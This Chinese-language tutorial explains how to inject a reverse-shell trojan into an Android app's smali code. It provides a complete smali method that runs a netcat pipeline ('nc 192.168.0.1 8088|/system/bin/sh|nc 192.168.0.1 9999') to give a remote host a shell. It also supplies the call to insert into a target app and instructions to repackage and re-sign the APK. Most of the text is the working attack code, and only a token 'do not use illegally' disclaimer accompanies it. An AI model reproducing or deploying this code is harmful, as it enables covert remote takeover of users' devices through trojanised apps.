向安卓APK smali源码中植入木马反弹SHELL的测试代码【请勿用于非法目的,切记!】

在安卓应用程序中植入木马已经不是什么新鲜事情,下面给出一个demo 反弹shell的一个smali源码,可以直接插入到目标应用的smali源码中,其中第一部分为函数体。注意修改其中的.line 行号。建议插入到一个smali文件的末尾,这样行号只要顺着原smali文件的行号增大即可。
然后使用第二部分的源码进行调用。

# virtual methods
.method public getshell()V
    .registers 8

    .prologue
    .line 28
    invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;

    move-result-object v1

    .line 31
    .local v1, rt:Ljava/lang/Runtime;
    :try_start_4
    sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;

    const-string v3, "NC IS OK!!!!"

    invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V

    .line 34
    sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;

    invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;

    move-result-object v3

    const/4 v4, 0x3

    new-array v4, v4, [Ljava/lang/String;

    const/4 v5, 0x0

    const-string v6, "/system/bin/sh"

    aput-object v6, v4, v5

    const/4 v5, 0x1

    const-string v6, "-c"

    aput-object v6, v4, v5

    const/4 v5, 0x2

    const-string v6, "nc 192.168.0.1 8088|/system/bin/sh|nc 192.168.0.1 9999"

    aput-object v6, v4, v5

    invoke-virtual {v3, v4}, Ljava/lang/Runtime;->exec([Ljava/lang/String;)Ljava/lang/Process;

    move-result-object v3

    invoke-virtual {v2, v3}, Ljava/io/PrintStream;->println(Ljava/lang/Object;)V
    :try_end_2a
    .catch Ljava/io/IOException; {:try_start_4 .. :try_end_2a} :catch_2b

    .line 41
    :goto_2a
    return-void

    .line 37
    :catch_2b
    move-exception v0

    .line 39
    .local v0, e:Ljava/io/IOException;
    invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V

    goto :goto_2a
.end method

此处为调用代码,注入插入到一个smali源码程序后就要修改下面的Lcom/example/test/MainActivity为响应的包名和类名,可以参考当前被修改的smali文件上下文进行修改,修改成功后保存并重新打包签名,然后在手机上运行即可。

invoke-virtual {p0}, Lcom/example/test/MainActivity;->getshell()V

这个程序会在控制台logcat显示NC IS OK!!的信息方便调试。注意设备需要有装过NC,不过这里有个悖论诶,没有root的设备很少有自带NC的,而root后的设备有很多不装busybox的,也没有NC。所以呢。。具体可用价值,大家自己衡量吧~~